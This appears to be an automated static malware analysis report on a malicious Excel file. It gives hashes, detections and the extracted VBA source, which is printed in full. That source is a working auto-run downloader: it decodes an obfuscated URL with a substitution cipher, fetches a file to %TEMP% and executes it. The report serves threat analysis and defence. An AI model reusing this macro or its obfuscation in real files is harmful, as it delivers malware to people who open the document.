Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a6eaf0f3f0d2bcba…

MALICIOUS

Office (OLE)

62.0 KB Created: 2018-03-27 13:52:34 Authoring application: Microsoft Excel First seen: 2018-04-12
MD5: 8139c01afee31822511fe1e1d4dc9c7e SHA-1: 4570aff1001d58328c02b86a1dbd63c3133b3afc SHA-256: a6eaf0f3f0d2bcba76914958b5a12c9f0a3206e9a4f7ae8c585e46d29efc25a6
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The critical heuristic OLE_VBA_HTTP_DROP_EXEC indicates that the VBA macro downloads a file from an HTTP URL and saves it to disk. The Workbook_Open macro is present, and the script attempts to download a file from "http://www.ÀlÕÀlÂmÂÛÁhÀÅgÂ.ÖÔÀdÂ/ÕÜÕÁ/JJ.ÂÛÂ" and save it to "%TEMP%\Ú§ã¶á.ÂÛÂ". This strongly suggests a downloader or droppper functionality.

Heuristics 8

  • ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    ¨®¥°©ª½¶©´»«¹«»½¢©ª¯¤¥¸©µ¹¶½¿§¶·¼¬¿²»©³¾»µ§¢¢£°¨¬¨º®¯¥£¡¦¹¬¾µ¦¥·§¤µº¨°§¿°¾½¡¬¢ª¨¸¨¡¥·µ¬°¾º¸¾¦ = ¾¦³¿¸½£¦»¼°½¯ª¾³¸¸·º§£²«¤¤¶¸¹µ«£§¾´µ®´¶¾¼²º¦¦º¿¨¹ª¸¨³®³¹µ¯¶«º¯«®¦´¼®®§·´ª©»¾¥¡§¼¹º.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set µ³¹»«²³¸¾»£·¬¡»·°«¦¦¦¤¬¾¬¶½½¨¦¥©¶¾º°ª©´ª¨°·«¤«»¤º¹¥¿¦¯«´«¥¨³°¾¤»¶´»ª¡»µº§ª¸¹£¹¼®»¢´µ´ = CreateObject("Shell.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ¢ª¨¸¨¡¥·µ¬°¾º¸¾¦³¿¸½£¦»¼°½¯ª¾³¸¸·º§£²«¤¤¶¸¹µ«£§¾´µ®´¶¾¼²º¦¦º¿¨¹ª¸¨³®³¹µ¯¶«º¯«®¦´¼®®§·´ª©»¾¥ = Environ("tmp") + ©ª¯¤¥¸©µ¹¶½¿§¶·¼¬¿²»©³¾»µ§¢¢£°¨¬¨º®¯¥£¡¦¹¬¾µ¦¥·§¤µº¨°§¿°¾½¡¬¢ª¨¸¨¡¥·µ¬°¾º¸¾¦³¿¸½£¦»¼°½¯ª¾³¸¸·º§£
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10235 bytes
SHA-256: f36c797e40361a9d8848e98026687c98b8fe39d829627e11354b39be6e34234e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub oRINALS()

End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_open()
©ª¯¤¥¸©µ¹¶½¿§¶·¼¬¿²»©³¾»µ§¢¢£°¨¬¨º®¯¥£¡¦¹¬¾µ¦¥·§¤µº¨°§¿°¾½¡¬¢ª¨¸¨¡¥·µ¬°¾º¸¾¦³¿¸½£¦»¼°½¯ª¾³¸¸·º§£ = ´¥¨¯£¨®¥°©ª½¶©´»«¹«»½¢©ª¯¤¥¸©µ¹¶½¿§¶·¼¬¿²»©³¾»µ§¢¢£°¨¬¨º®¯¥£¡¦¹¬¾µ¦¥·§¤µº¨°§¿°¾½¡¬¢ª¨¸¨¡¥·µ¬°¾º¸¾¦³("\Ú§ã¶á.ÂÛÂ")
³¿¸½£¦»¼°½¯ª¾³¸¸·º§£²«¤¤¶¸¹µ«£§¾´µ®´¶¾¼²º¦¦º¿¨¹ª¸¨³®³¹µ¯¶«º¯«®¦´¼®®§·´ª©»¾¥¡§¼¹º¹¼³ = ´¥¨¯£¨®¥°©ª½¶©´»«¹«»½¢©ª¯¤¥¸©µ¹¶½¿§¶·¼¬¿²»©³¾»µ§¢¢£°¨¬¨º®¯¥£¡¦¹¬¾µ¦¥·§¤µº¨°§¿°¾½¡¬¢ª¨¸¨¡¥·µ¬°¾º¸¾¦³("hÖÖÓ://www.ÀlÕÀlÂmÂÛÁhÀÅgÂ.ÖÔÀdÂ/ÕÜÕÁ/JJ.ÂÛÂ")
Set µ³¹»«²³¸¾»£·¬¡»·°«¦¦¦¤¬¾¬¶½½¨¦¥©¶¾º°ª©´ª¨°·«¤«»¤º¹¥¿¦¯«´«¥¨³°¾¤»¶´»ª¡»µº§ª¸¹£¹¼®»¢´µ´ = CreateObject("Shell.Application")
Set ¾¦³¿¸½£¦»¼°½¯ª¾³¸¸·º§£²«¤¤¶¸¹µ«£§¾´µ®´¶¾¼²º¦¦º¿¨¹ª¸¨³®³¹µ¯¶«º¯«®¦´¼®®§·´ª©»¾¥¡§¼¹º = CreateObject("microsoft.xmlhttp")

¢ª¨¸¨¡¥·µ¬°¾º¸¾¦³¿¸½£¦»¼°½¯ª¾³¸¸·º§£²«¤¤¶¸¹µ«£§¾´µ®´¶¾¼²º¦¦º¿¨¹ª¸¨³®³¹µ¯¶«º¯«®¦´¼®®§·´ª©»¾¥ = Environ("tmp") + ©ª¯¤¥¸©µ¹¶½¿§¶·¼¬¿²»©³¾»µ§¢¢£°¨¬¨º®¯¥£¡¦¹¬¾µ¦¥·§¤µº¨°§¿°¾½¡¬¢ª¨¸¨¡¥·µ¬°¾º¸¾¦³¿¸½£¦»¼°½¯ª¾³¸¸·º§£
¾¦³¿¸½£¦»¼°½¯ª¾³¸¸·º§£²«¤¤¶¸¹µ«£§¾´µ®´¶¾¼²º¦¦º¿¨¹ª¸¨³®³¹µ¯¶«º¯«®¦´¼®®§·´ª©»¾¥¡§¼¹º.Open "GET", ³¿¸½£¦»¼°½¯ª¾³¸¸·º§£²«¤¤¶¸¹µ«£§¾´µ®´¶¾¼²º¦¦º¿¨¹ª¸¨³®³¹µ¯¶«º¯«®¦´¼®®§·´ª©»¾¥¡§¼¹º¹¼³, False
¾¦³¿¸½£¦»¼°½¯ª¾³¸¸·º§£²«¤¤¶¸¹µ«£§¾´µ®´¶¾¼²º¦¦º¿¨¹ª¸¨³®³¹µ¯¶«º¯«®¦´¼®®§·´ª©»¾¥¡§¼¹º.send
¨®¥°©ª½¶©´»«¹«»½¢©ª¯¤¥¸©µ¹¶½¿§¶·¼¬¿²»©³¾»µ§¢¢£°¨¬¨º®¯¥£¡¦¹¬¾µ¦¥·§¤µº¨°§¿°¾½¡¬¢ª¨¸¨¡¥·µ¬°¾º¸¾¦ = ¾¦³¿¸½£¦»¼°½¯ª¾³¸¸·º§£²«¤¤¶¸¹µ«£§¾´µ®´¶¾¼²º¦¦º¿¨¹ª¸¨³®³¹µ¯¶«º¯«®¦´¼®®§·´ª©»¾¥¡§¼¹º.responseBody
If ¾¦³¿¸½£¦»¼°½¯ª¾³¸¸·º§£²«¤¤¶¸¹µ«£§¾´µ®´¶¾¼²º¦¦º¿¨¹ª¸¨³®³¹µ¯¶«º¯«®¦´¼®®§·´ª©»¾¥¡§¼¹º.Status = 200 Then
Set ·»ª¶¶¿¹»¶ª·¦§½·¬½¸¿©»»´´«¦²¬¡®²¼¬¼º·®¯¢«¥¢¤´½¾¤£³¯µ¨²ª§µº´©««¬©¼¹½¡¿·¯¬ª¿¡¯´¥¨¯£¨®¥°©ª½¶©´»«¹«»½¢ = CreateObject("adodb.stream")
·»ª¶¶¿¹»¶ª·¦§½·¬½¸¿©»»´´«¦²¬¡®²¼¬¼º·®¯¢«¥¢¤´½¾¤£³¯µ¨²ª§µº´©««¬©¼¹½¡¿·¯¬ª¿¡¯´¥¨¯£¨®¥°©ª½¶©´»«¹«»½¢.Open
·»ª¶¶¿¹»¶ª·¦§½·¬½¸¿©»»´´«¦²¬¡®²¼¬¼º·®¯¢«¥¢¤´½¾¤£³¯µ¨²ª§µº´©««¬©¼¹½¡¿·¯¬ª¿¡¯´¥¨¯£¨®¥°©ª½¶©´»«¹«»½¢.Type = 1
·»ª¶¶¿¹»¶ª·¦§½·¬½¸¿©»»´´«¦²¬¡®²¼¬¼º·®¯¢«¥¢¤´½¾¤£³¯µ¨²ª§µº´©««¬©¼¹½¡¿·¯¬ª¿¡¯´¥¨¯£¨®¥°©ª½¶©´»«¹«»½¢.Write ¨®¥°©ª½¶©´»«¹«»½¢©ª¯¤¥¸©µ¹¶½¿§¶·¼¬¿²»©³¾»µ§¢¢£°¨¬¨º®¯¥£¡¦¹¬¾µ¦¥·§¤µº¨°§¿°¾½¡¬¢ª¨¸¨¡¥·µ¬°¾º¸¾¦
·»ª¶¶¿¹»¶ª·¦§½·¬½¸¿©»»´´«¦²¬¡®²¼¬¼º·®¯¢«¥¢¤´½¾¤£³¯µ¨²ª§µº´©««¬©¼¹½¡¿·¯¬ª¿¡¯´¥¨¯£¨®¥°©ª½¶©´»«¹«»½¢.SaveToFile ¢ª¨¸¨¡¥·µ¬°¾º¸¾¦³¿¸½£¦»¼°½¯ª¾³¸¸·º§£²«¤¤¶¸¹µ«£§¾´µ®´¶¾¼²º¦¦º¿¨¹ª¸¨³®³¹µ¯¶«º¯«®¦´¼®®§·´ª©»¾¥, 2
·»ª¶¶¿¹»¶ª·¦§½·¬½¸¿©»»´´«¦²¬¡®²¼¬¼º·®¯¢«¥¢¤´½¾¤£³¯µ¨²ª§µº´©««¬©¼¹½¡¿·¯¬ª¿¡¯´¥¨¯£¨®¥°©ª½¶©´»«¹«»½¢.Close
End If
µ³¹»«²³¸¾»£·¬¡»·°«¦¦¦¤¬¾¬¶½½¨¦¥©¶¾º°ª©´ª¨°·«¤«»¤º¹¥¿¦¯«´«¥¨³°¾¤»¶´»ª¡»µº§ª¸¹£¹¼®»¢´µ´.Open (¢ª¨¸¨¡¥·µ¬°¾º¸¾¦³¿¸½£¦»¼°½¯ª¾³¸¸·º§£²«¤¤¶¸¹µ«£§¾´µ®´¶¾¼²º¦¦º¿¨¹ª¸¨³®³¹µ¯¶«º¯«®¦´¼®®§·´ª©»¾¥)
Range("A1").Value = "SDFGVD"

End Sub

    Public Function ´¥¨¯£¨®¥°©ª½¶©´»«¹«»½¢©ª¯¤¥¸©µ¹¶½¿§¶·¼¬¿²»©³¾»µ§¢¢£°¨¬¨º®¯¥£¡¦¹¬¾µ¦¥·§¤µº¨°§¿°¾½¡¬¢ª¨¸¨¡¥·µ¬°¾º¸¾¦³(¿¸½£¦»¼°½¯ª¾³¸¸·º§£²«¤¤¶¸¹µ«£§¾´µ®´¶¾¼²º¦¦º¿¨¹ª¸¨³®³¹µ¯¶«º¯«®¦´¼®®§·´ª©»¾¥¡§¼¹º¹¼³·»ª¶¶¿¹)
        ¡§¼¹º¹¼³·»ª¶¶¿¹»¶ª·¦§½·¬½¸¿©»»´´«¦²¬¡®²¼¬¼º·®¯¢«¥¢¤´½¾¤£³¯µ¨²ª§µº´©««¬©¼¹½¡¿·¯¬ª¿¡¯´¥¨¯£¨®¥°© = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåض§Ú¥"
        ª½¶©´»«¹«»½¢©ª¯¤¥¸©µ¹¶½¿§¶·¼¬¿²»©³¾»µ§¢¢£°¨¬¨º®¯¥£¡¦¹¬¾µ¦¥·§¤µº¨°§¿°¾½¡¬¢ª¨¸¨¡¥·µ¬ = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
        For i = 1 To Len(¿¸½£¦»¼°½¯ª¾³¸¸·º§£²«¤¤¶¸¹µ«£§¾´µ®´¶¾¼²º¦¦º¿¨¹ª¸¨³®³¹µ¯¶«º¯«®¦´¼®®§·´ª©»¾¥¡§¼¹º¹¼³·»ª¶¶¿¹)
            °¾º¸¾¦³¿¸½£¦»¼°½¯ª¾³¸¸·º§£²«¤¤¶¸¹µ«£§¾´µ®´¶¾¼²º¦¦º¿¨¹ª¸¨³®³¹µ¯¶«º¯«®¦´¼®®§·´ª©»¾¥¡§¼¹º¹¼³·»ª¶ = InStr(¡§¼¹º¹¼³·»ª¶¶¿¹»¶ª·¦§½·¬½¸¿©»»´´«¦²¬¡®²¼¬¼º·®¯¢«¥¢¤´½¾¤£³¯µ¨²ª§µº´©««¬©¼¹½¡¿·¯¬ª¿¡¯´¥¨¯£¨®¥°©, Mid(¿¸½£¦»¼°½¯ª¾³¸¸·º§£²«¤¤¶¸¹µ«£§¾´µ®´¶¾¼²º¦¦º¿¨¹ª¸¨³®³¹µ¯¶«º¯«®¦´¼®®§·´ª©»¾¥¡§¼¹º¹¼³·»ª¶¶¿¹, i, 1))
            If °¾º¸¾¦³¿¸½£¦»¼°½¯ª¾³¸¸·º§£²«¤¤¶¸¹µ«£§¾´µ®´¶¾¼²º¦¦º¿¨¹ª¸¨³®³¹µ¯¶«º¯«®¦´¼®®§·´ª©»¾¥¡§¼¹º¹¼³·»ª¶ > 0 Then
                ¶¿¹»¶ª·¦§½·¬½¸¿©»»´´«¦²¬¡®²¼¬¼º·®¯¢«¥¢¤´½¾¤£³¯µ¨²ª§µº´©««¬©¼¹½¡¿·¯¬ª¿¡¯´¥¨¯£¨®¥°©ª½¶©´»«¹«»½¢©ª¯ = Mid(ª½¶©´»«¹«»½¢©ª¯¤¥¸©µ¹¶½¿§¶·¼¬¿²»©³¾»µ§¢¢£°¨¬¨º®¯¥£¡¦¹¬¾µ¦¥·§¤µº¨°§¿°¾½¡¬¢ª¨¸¨¡¥·µ¬, °¾º¸¾¦³¿¸½£¦»¼°½¯ª¾³¸¸·º§£²«¤¤¶¸¹µ«£§¾´µ®´¶¾¼²º¦¦º¿¨¹ª¸¨³®³¹µ¯¶«º¯«®¦´¼®®§·´ª©»¾¥¡§¼¹º¹¼³·»ª¶, 1)
                ¤¥¸©µ¹¶½¿§¶·¼¬¿²»©³¾»µ§¢¢£°¨¬¨º®¯¥£¡¦¹¬¾µ¦¥·§¤µº¨°§¿°¾½¡¬¢ª¨¸¨¡¥·µ¬°¾º¸¾¦³¿¸½£¦»¼ = ¤¥¸©µ¹¶½¿§¶·¼¬¿²»©³¾»µ§¢¢£°¨¬¨º®¯¥£¡¦¹¬¾µ¦¥·§¤µº¨°§¿°¾½¡¬¢ª¨¸¨¡¥·µ¬°¾º¸¾¦³¿¸½£¦»¼ + ¶¿¹»¶ª·¦§½·¬½¸¿©»»´´«¦²¬¡®²¼¬¼º·®¯¢«¥¢¤´½¾¤£³¯µ¨²ª§µº´©««¬©¼¹½¡¿·¯¬ª¿¡¯´¥¨¯£¨®¥°©ª½¶©´»«¹«»½¢©ª¯
            Else
                ¤¥¸©µ¹¶½¿§¶·¼¬¿²»©³¾»µ§¢¢£°¨¬¨º®¯¥£¡¦¹¬¾µ¦¥·§¤µº¨°§¿°¾½¡¬¢ª¨¸¨¡¥·µ¬°¾º¸¾¦³¿¸½£¦»¼ = ¤¥¸©µ¹¶½¿§¶·¼¬¿²»©³¾»µ§¢¢£°¨¬¨º®¯¥£¡¦¹¬¾µ¦¥·§¤µº¨°§¿°¾½¡¬¢ª¨¸¨¡¥·µ¬°¾º¸¾¦³¿¸½£¦»¼ + Mid(¿¸½£¦»¼°½¯ª¾³¸¸·º§£²«¤¤¶¸¹µ«£§¾´µ®´¶¾¼²º¦¦º¿¨¹ª¸¨³®³¹µ¯¶«º¯«®¦´¼®®§·´ª©»¾¥¡§¼¹º¹¼³·»ª¶¶¿¹, i, 1)
            End If
        Next
        ´¥¨¯£¨®¥°©ª½¶©´»«¹«»½¢©ª¯¤¥¸©µ¹¶½¿§¶·¼¬¿²»©³¾»µ§¢¢£°¨¬¨º®¯¥£¡¦¹¬¾µ¦¥·§¤µº¨°§¿°¾½¡¬¢ª¨¸¨¡¥·µ¬°¾º¸¾¦³ = ¤¥¸©µ¹¶½¿§¶·¼¬¿²»©³¾»µ§¢¢£°¨¬¨º®¯¥£¡¦¹¬¾µ¦¥·§¤µº¨°§¿°¾½¡¬¢ª¨¸¨¡¥·µ¬°¾º¸¾¦³¿¸½£¦»¼
    End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.